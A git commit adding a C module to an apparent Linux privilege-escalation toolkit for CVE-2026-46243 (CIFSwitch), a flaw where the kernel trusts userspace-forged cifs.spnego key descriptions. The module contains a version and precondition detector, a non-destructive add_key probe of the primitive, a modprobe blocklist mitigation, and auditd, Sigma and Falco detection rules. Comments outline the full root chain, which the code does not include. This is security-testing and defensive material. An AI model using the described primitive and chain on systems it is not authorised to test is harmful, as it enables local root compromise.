modules: add cifswitch (CVE-2026-46243, Asim Manizada's CIFSwitch)

CIFSwitch is the newest kernel-7-era LPE not already in the corpus: a ~19-year-old logic flaw in fs/smb/client/cifs_spnego.c where the cifs.spnego request-key type accepts key descriptions created by userspace (add_key(2)/request_key(2)) without verifying the request came from the in-kernel CIFS client. The description's authority-bearing fields (pid/uid/creduid/upcall_target) are trusted by the root cifs.upcall helper; with user+mount namespace tricks an unprivileged user coerces cifs.upcall into loading an attacker NSS module as root. Fixed upstream by 3da1fdf4efbc (merged 7.1-rc5); CWE-20; not in CISA KEV. Takes the corpus to 42 modules / 37 CVEs. 🟡 honest port — full chain not VM-verified. detect() gates on the kernel version (Debian backports 5.10.257/6.1.174/6.12.90/7.0.10) AND on the cifs userspace path (cifs.upcall / cifs.spnego request-key rule), so a vulnerable kernel without cifs-utils is PRECOND_FAIL not a false positive (override via SKELETONKEY_CIFS_ASSUME_PRESENT=1/0). exploit() fires only the non-destructive add_key(2) cifs.spnego probe (no upcall, loads nothing, revoked immediately) and returns EXPLOIT_FAIL without a euid-0 witness — the namespace+NSS root-pop is not bundled until VM-verified. --mitigate blocklists the cifs module; --cleanup reverts. Wired everywhere: registry, Makefile, safety rank (86), 6 detect() test rows (env-driven precondition override), CVE_METADATA.json + cve_metadata.c + KEV_CROSSREF.md (sorted insert, CWE-20/T1068/not-KEV), README + CVES.md + website counts (42/37) and a yellow module pill, RELEASE_NOTES v0.9.10, verify-vm target (sweep pending). Credit: Asim Manizada. Version 0.9.10.
2026-06-08 11:07:27 -04:00
parent 28a9289989
commit ada56b0db3
17 changed files with 703 additions and 27 deletions
@@ -0,0 +1,419 @@
+/*
+ * cifswitch_cve_2026_46243 — SKELETONKEY module
+ *
+ * CVE-2026-46243 "CIFSwitch" — the kernel's `cifs.spnego` request-key
+ * type accepts key descriptions created by *userspace* (via add_key(2) /
+ * request_key(2)) without verifying the request originated from the
+ * in-kernel CIFS client. Those descriptions carry authority-bearing
+ * fields (`pid`, `uid`, `creduid`, `upcall_target`) that the
+ * root-privileged `cifs.upcall` helper trusts as kernel-originating.
+ * An unprivileged user forges a description and — combined with user +
+ * mount namespace manipulation — coerces `cifs.upcall` into loading an
+ * attacker-controlled NSS shared library as root → local root.
+ *
+ * Disclosed by Asim Manizada, 2026-05-28 (public PoC same day). A
+ * ~19-year-old bug: the cifs spnego upcall predates the key-type origin
+ * checks added later. Fixed upstream by commit 3da1fdf4efbc (merged
+ * 7.1-rc5): "smb: client: reject userspace cifs.spnego descriptions".
+ * NVD: CWE-20 (Improper Input Validation). Not in CISA KEV.
+ *
+ * STATUS: 🟡 PRIMITIVE / ported-from-disclosure, NOT yet VM-verified.
+ *   Structural logic flaw — no offsets, no race, no shellcode. detect()
+ *   gates on (a) the kernel version (Debian-tracked backports below) and
+ *   (b) the presence of the vulnerable userspace path: the `cifs.upcall`
+ *   helper / `cifs.spnego` request-key rule. A vulnerable kernel without
+ *   cifs-utils is not reachable via this technique, so that case is
+ *   PRECOND_FAIL, not VULNERABLE. exploit() fires the reachable,
+ *   non-destructive part of the primitive — it attempts to register a
+ *   forged-but-benign `cifs.spnego` key as the unprivileged user (via
+ *   add_key(2), which does NOT invoke cifs.upcall) and observes whether
+ *   the kernel accepts a userspace-originated description — then STOPS.
+ *   The namespace-switch + malicious-NSS-load that turns that into a
+ *   root shell is target/config-specific and is not bundled until it can
+ *   be VM-verified end-to-end. Honest EXPLOIT_FAIL without a euid-0
+ *   witness; never fabricates root.
+ *
+ * Affected range (Debian-tracked stable backports of the fix):
+ *   5.10.x : K >= 5.10.257  (bullseye)
+ *   6.1.x  : K >= 6.1.174   (bookworm)
+ *   6.12.x : K >= 6.12.90   (trixie)
+ *   7.0.x  : K >= 7.0.10    (forky / sid); mainline fixed 7.1-rc5
+ *   Branches Debian doesn't track (5.15 / 6.6 / 6.8 / 6.11 ...) fall
+ *   through to the version-only verdict — confirm empirically.
+ *
+ * Preconditions: cifs kernel module available + cifs-utils installed
+ *   (`cifs.upcall` present) + the `cifs.spnego` request-key rule active.
+ *   Override the precondition probe with SKELETONKEY_CIFS_ASSUME_PRESENT
+ *   = 1 (force present) / 0 (force absent) when you know the fleet's CIFS
+ *   posture better than a local file probe can (also drives unit tests).
+ *
+ * arch_support: any. Keyring + namespace logic; no shellcode.
+ */
+
+#include "skeletonkey_modules.h"
+#include "../../core/registry.h"
+
+/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
+ * redefine here (warning: redefined). */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdbool.h>
+#include <unistd.h>
+
+#ifdef __linux__
+
+#include "../../core/kernel_range.h"
+#include "../../core/host.h"
+#include <errno.h>
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+
+/* keyring syscalls live in libkeyutils, not glibc — call them directly.
+ * The asm-generic numbers below match x86_64 / arm64 / most arches; fall
+ * back only when the toolchain headers don't already define them. */
+#ifndef SYS_add_key
+#define SYS_add_key 248
+#endif
+#ifndef SYS_keyctl
+#define SYS_keyctl 250
+#endif
+
+/* keyctl operations + special keyring ids (uapi/linux/keyctl.h). */
+#ifndef KEYCTL_REVOKE
+#define KEYCTL_REVOKE 3
+#endif
+#ifndef KEY_SPEC_PROCESS_KEYRING
+#define KEY_SPEC_PROCESS_KEYRING (-2)
+#endif
+
+typedef int sk_key_serial_t;
+
+static sk_key_serial_t sk_add_key(const char *type, const char *desc,
+                                  const void *payload, size_t plen,
+                                  sk_key_serial_t keyring)
+{
+    return (sk_key_serial_t)syscall(SYS_add_key, type, desc,
+                                    payload, plen, keyring);
+}
+static long sk_keyctl_revoke(sk_key_serial_t key)
+{
+    return syscall(SYS_keyctl, (long)KEYCTL_REVOKE, (long)key, 0L, 0L, 0L);
+}
+
+/* Debian-tracked stable backports of the 2026 fix (commit 3da1fdf4efbc,
+ * mainline 7.1-rc5). These are the authoritative thresholds
+ * (security-tracker.debian.org). Branches Debian doesn't ship fall
+ * through to the version-only verdict in detect(). */
+static const struct kernel_patched_from cifswitch_patched_branches[] = {
+    {5, 10, 257},  /* 5.10-LTS backport (Debian bullseye) */
+    {6,  1, 174},  /* 6.1-LTS  backport (Debian bookworm) */
+    {6, 12,  90},  /* 6.12-LTS backport (Debian trixie) */
+    {7,  0,  10},  /* 7.0 stable        (Debian forky / sid) */
+};
+
+static const struct kernel_range cifswitch_range = {
+    .patched_from = cifswitch_patched_branches,
+    .n_patched_from = sizeof(cifswitch_patched_branches) /
+                      sizeof(cifswitch_patched_branches[0]),
+};
+
+/* Is the vulnerable userspace path present? The load-bearing signal is
+ * the cifs.upcall helper (the privileged component the bug abuses); the
+ * cifs.spnego request-key rule and a loaded/loadable cifs module
+ * corroborate. SKELETONKEY_CIFS_ASSUME_PRESENT overrides the probe:
+ * "1" = present, "0" = absent (operators who know their fleet's CIFS
+ * posture, and the unit tests, use this). */
+static bool cifs_userspace_present(void)
+{
+    const char *force = getenv("SKELETONKEY_CIFS_ASSUME_PRESENT");
+    if (force && (force[0] == '1' || force[0] == '0'))
+        return force[0] == '1';
+
+    struct stat st;
+    static const char *upcall_paths[] = {
+        "/usr/sbin/cifs.upcall", "/sbin/cifs.upcall",
+        "/usr/bin/cifs.upcall", "/usr/local/sbin/cifs.upcall", NULL,
+    };
+    for (size_t i = 0; upcall_paths[i]; i++)
+        if (stat(upcall_paths[i], &st) == 0)
+            return true;
+
+    /* request-key rule for cifs.spnego (cifs-utils ships this). */
+    static const char *reqkey_paths[] = {
+        "/etc/request-key.d/cifs.spnego.conf",
+        "/usr/share/request-key.d/cifs.spnego.conf", NULL,
+    };
+    for (size_t i = 0; reqkey_paths[i]; i++)
+        if (stat(reqkey_paths[i], &st) == 0)
+            return true;
+
+    return false;
+}
+
+static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
+{
+    const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
+    if (!v || v->major == 0) {
+        if (!ctx->json)
+            fprintf(stderr, "[!] cifswitch: host fingerprint missing kernel "
+                    "version — bailing\n");
+        return SKELETONKEY_TEST_ERROR;
+    }
+
+    /* A patched kernel is not vulnerable regardless of the userspace
+     * path — decide that first so the verdict is deterministic. */
+    if (kernel_range_is_patched(&cifswitch_range, v)) {
+        if (!ctx->json)
+            fprintf(stderr, "[+] cifswitch: kernel %s is patched "
+                            "(version-only check)\n", v->release);
+        return SKELETONKEY_OK;
+    }
+
+    /* Vulnerable kernel. Exploitation needs the cifs.upcall userspace
+     * path; without it the technique is unreachable here. */
+    if (!cifs_userspace_present()) {
+        if (!ctx->json) {
+            fprintf(stderr, "[i] cifswitch: kernel %s is in the vulnerable "
+                            "range but cifs.upcall / cifs.spnego request-key "
+                            "rule not found — cifs-utils not installed, bug "
+                            "not reachable here\n", v->release);
+            fprintf(stderr, "[i] cifswitch: if you know this fleet uses CIFS, "
+                            "re-run with SKELETONKEY_CIFS_ASSUME_PRESENT=1\n");
+        }
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+
+    if (!ctx->json) {
+        fprintf(stderr, "[!] cifswitch: kernel %s VULNERABLE and cifs.upcall "
+                        "present — CVE-2026-46243 reachable\n", v->release);
+        fprintf(stderr, "[i] cifswitch: userspace can forge cifs.spnego key "
+                        "descriptions (pid/uid/creduid/upcall_target) the root "
+                        "cifs.upcall helper trusts\n");
+        fprintf(stderr, "[i] cifswitch: branches Debian doesn't track "
+                        "(5.15/6.6/6.8/6.11) are version-only here; confirm with "
+                        "`--exploit cifswitch --i-know`\n");
+    }
+    return SKELETONKEY_VULNERABLE;
+}
+
+static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->authorized) {
+        fprintf(stderr, "[-] cifswitch: --i-know required for --exploit\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    skeletonkey_result_t pre = cifswitch_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
+        fprintf(stderr, "[-] cifswitch: detect() says not vulnerable/reachable; "
+                        "refusing\n");
+        return pre;
+    }
+    bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
+    if (is_root) {
+        fprintf(stderr, "[i] cifswitch: already running as root — nothing to do\n");
+        return SKELETONKEY_OK;
+    }
+
+    /* Reachable, non-destructive primitive witness: can we, as an
+     * unprivileged user, register a cifs.spnego key carrying the
+     * authority-bearing fields? add_key(2) instantiates the key directly
+     * — it does NOT invoke cifs.upcall (that is request_key's upcall
+     * path), so this loads nothing and triggers no privileged helper. On
+     * a VULNERABLE kernel the type accepts the userspace-originated
+     * description; the fix (3da1fdf4efbc) rejects it. We revoke any key
+     * we create immediately. A clean accept is the empirical signal that
+     * the missing-origin-validation flaw is present; any error is treated
+     * as inconclusive (could be patched, or add_key unsupported for the
+     * type) and reported honestly — we never infer root from it. */
+    const char *desc =
+        "ver=0x2;host=skeletonkey-probe;ip4=127.0.0.1;sec=krb5;"
+        "uid=0x0;creduid=0x0;user=skprobe;pid=0x0";
+    errno = 0;
+    sk_key_serial_t k = sk_add_key("cifs.spnego", desc, "\x00", 1,
+                                   KEY_SPEC_PROCESS_KEYRING);
+    if (k > 0) {
+        sk_keyctl_revoke(k);   /* don't leave the probe key lying around */
+        fprintf(stderr,
+            "[!] cifswitch: primitive CONFIRMED — kernel accepted a "
+            "userspace-forged cifs.spnego key (serial %d) carrying "
+            "uid/creduid/upcall_target. CVE-2026-46243 reachable.\n", k);
+        fprintf(stderr,
+            "[i] cifswitch: the full root-pop (user+mount namespace switch "
+            "coercing cifs.upcall to load an attacker NSS module as root) is "
+            "target/config-specific and NOT bundled until VM-verified. Not "
+            "fabricating a shell. See module NOTICE.md (Asim Manizada PoC).\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+
+    if (errno == ENOSYS) {
+        fprintf(stderr, "[-] cifswitch: add_key(2) ENOSYS — keyrings "
+                        "unavailable in this kernel build\n");
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+    fprintf(stderr,
+        "[-] cifswitch: kernel did not accept a userspace-forged cifs.spnego "
+        "key (add_key: %s). Inconclusive — the kernel may carry the fix "
+        "(3da1fdf4efbc rejects userspace descriptions), or the key type may "
+        "not permit direct add_key here. detect() reported the version+helper "
+        "as vulnerable; verify against a known-vulnerable VM.\n",
+        strerror(errno));
+    return SKELETONKEY_EXPLOIT_FAIL;
+}
+
+/* Mitigation: the vendor-recommended runtime fix is to blocklist the
+ * cifs module so the vulnerable upcall path cannot be reached. We write
+ * a modprobe.d blocklist (needs root; persists across reboot and blocks
+ * future autoload). We do not force-unload a possibly-mounted cifs. The
+ * real fix is the kernel patch. --cleanup removes the blocklist file. */
+#define CIFSWITCH_BLOCKLIST "/etc/modprobe.d/skeletonkey-disable-cifs.conf"
+
+static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
+{
+    int fd = open(CIFSWITCH_BLOCKLIST, O_WRONLY | O_CREAT | O_TRUNC, 0644);
+    if (fd < 0) {
+        fprintf(stderr, "[-] cifswitch: cannot write %s: %s "
+                        "(need root: run as root, or "
+                        "`echo 'blacklist cifs' | sudo tee %s`)\n",
+                CIFSWITCH_BLOCKLIST, strerror(errno), CIFSWITCH_BLOCKLIST);
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+    static const char body[] =
+        "# Added by SKELETONKEY --mitigate cifswitch (CVE-2026-46243).\n"
+        "# Blocklists the cifs module so the vulnerable cifs.spnego upcall\n"
+        "# path cannot be reached. Remove via `--cleanup cifswitch`.\n"
+        "blacklist cifs\n"
+        "install cifs /bin/false\n";
+    ssize_t w = write(fd, body, sizeof body - 1);
+    close(fd);
+    if (w != (ssize_t)(sizeof body - 1)) {
+        fprintf(stderr, "[-] cifswitch: short write to %s\n", CIFSWITCH_BLOCKLIST);
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    fprintf(stderr, "[+] cifswitch: wrote %s (blocklist cifs). Already-loaded "
+                    "cifs stays until unmounted+`rmmod cifs` or reboot. This is "
+                    "a stopgap; patch the kernel. Revert: `--cleanup cifswitch`.\n",
+            CIFSWITCH_BLOCKLIST);
+    (void)ctx;
+    return SKELETONKEY_OK;
+}
+
+static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
+{
+    if (unlink(CIFSWITCH_BLOCKLIST) == 0) {
+        if (!ctx->json)
+            fprintf(stderr, "[*] cifswitch: removed %s\n", CIFSWITCH_BLOCKLIST);
+    } else if (errno != ENOENT) {
+        fprintf(stderr, "[-] cifswitch: could not remove %s: %s\n",
+                CIFSWITCH_BLOCKLIST, strerror(errno));
+    }
+    return SKELETONKEY_OK;
+}
+
+#else  /* !__linux__ */
+
+/* Non-Linux dev builds: keyrings, cifs.upcall and modprobe are all
+ * Linux-only. Stub so the module still registers and `make` completes on
+ * macOS/BSD dev boxes. */
+static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->json)
+        fprintf(stderr, "[i] cifswitch: Linux-only module "
+                "(cifs.spnego keyring trust) — not applicable here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    fprintf(stderr, "[-] cifswitch: Linux-only module — cannot run here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    return SKELETONKEY_OK;
+}
+
+#endif /* __linux__ */
+
+/* Embedded detection rules — keep the binary self-contained. The
+ * behavioural signal is a non-root process creating a `cifs.spnego` key
+ * (add_key/request_key) and/or an unexpected cifs.upcall execution
+ * paired with user-namespace setup. */
+static const char cifswitch_auditd[] =
+    "# CVE-2026-46243 (CIFSwitch) — auditd detection rules\n"
+    "# A non-root add_key/request_key for cifs.spnego is the core abuse,\n"
+    "# usually paired with unshare(CLONE_NEWUSER|CLONE_NEWNS) and a\n"
+    "# cifs.upcall execution that loads an attacker NSS module.\n"
+    "-a always,exit -F arch=b64 -S add_key     -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
+    "-a always,exit -F arch=b64 -S request_key -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
+    "-a always,exit -F arch=b64 -S unshare     -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
+    "-w /usr/sbin/cifs.upcall -p x -k skeletonkey-cifswitch\n";
+
+static const char cifswitch_sigma[] =
+    "title: Possible CVE-2026-46243 CIFSwitch cifs.spnego keyring LPE\n"
+    "id: 9b2e7c10-skeletonkey-cifswitch\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects a non-root process creating a cifs.spnego key via\n"
+    "  add_key/request_key. CIFSwitch forges the authority-bearing fields\n"
+    "  (uid/creduid/upcall_target) in a cifs.spnego key description that\n"
+    "  the root cifs.upcall helper trusts, then uses namespace tricks to\n"
+    "  load an attacker NSS module as root. False positives: legitimate\n"
+    "  CIFS/Kerberos mounts normally trigger cifs.spnego from kernel\n"
+    "  context (root), not from an unprivileged add_key.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  keyop:    {type: 'SYSCALL', syscall: ['add_key', 'request_key']}\n"
+    "  non_root: {auid|expression: '>= 1000'}\n"
+    "  condition: keyop and non_root\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2026.46243]\n";
+
+static const char cifswitch_falco[] =
+    "- rule: non-root cifs.spnego key creation (CVE-2026-46243 CIFSwitch)\n"
+    "  desc: |\n"
+    "    A non-root process creates a cifs.spnego key (add_key/request_key)\n"
+    "    or spawns cifs.upcall outside a kernel-initiated CIFS mount. The\n"
+    "    CIFSwitch LPE forges authority fields in the key description that\n"
+    "    the root cifs.upcall helper trusts, loading an attacker NSS module\n"
+    "    as root. False positives: container/CIFS tooling run as root.\n"
+    "  condition: >\n"
+    "    ((evt.type in (add_key, request_key)) or\n"
+    "     (spawned_process and proc.name = cifs.upcall)) and not user.uid = 0\n"
+    "  output: >\n"
+    "    non-root cifs.spnego key op / cifs.upcall (possible CVE-2026-46243)\n"
+    "    (user=%user.name proc=%proc.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
+    "  priority: HIGH\n"
+    "  tags: [process, mitre_privilege_escalation, T1068, cve.2026.46243]\n";
+
+const struct skeletonkey_module cifswitch_module = {
+    .name           = "cifswitch",
+    .cve            = "CVE-2026-46243",
+    .summary        = "cifs.spnego key type trusts userspace-forged authority fields → cifs.upcall loads attacker NSS module as root (Asim Manizada)",
+    .family         = "cifswitch",
+    .kernel_range   = "fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of commit 3da1fdf4efbc, mainline 7.1-rc5); ~19-year-old bug below those",
+    .detect         = cifswitch_detect,
+    .exploit        = cifswitch_exploit,
+    .mitigate       = cifswitch_mitigate,
+    .cleanup        = cifswitch_cleanup,
+    .detect_auditd  = cifswitch_auditd,
+    .detect_sigma   = cifswitch_sigma,
+    .detect_yara    = NULL,   /* attacker NSS .so has no stable signature; behavioural bug */
+    .detect_falco   = cifswitch_falco,
+    .opsec_notes    = "detect() consults the shared host fingerprint for the kernel version (Debian backports 5.10.257/6.1.174/6.12.90/7.0.10) and probes for the cifs.upcall helper / cifs.spnego request-key rule (override via SKELETONKEY_CIFS_ASSUME_PRESENT=1/0); a vulnerable kernel without cifs-utils is PRECOND_FAIL. exploit() fires only the non-destructive primitive: add_key(2) of a forged-but-benign cifs.spnego key (does NOT invoke cifs.upcall, loads nothing), revokes it immediately, and treats a clean accept as the empirical witness — it never runs the namespace-switch + malicious-NSS-load chain that pops root, and returns EXPLOIT_FAIL without a euid-0 witness. Audit-visible via add_key/request_key for cifs.spnego by a non-root auid, typically alongside unshare(CLONE_NEWUSER|CLONE_NEWNS) and a cifs.upcall execution. --mitigate writes /etc/modprobe.d/skeletonkey-disable-cifs.conf (blacklist cifs); --cleanup removes it. Arch-agnostic (no shellcode).",
+    .arch_support   = "any",
+};
+
+void skeletonkey_register_cifswitch(void)
+{
+    skeletonkey_register(&cifswitch_module);
+}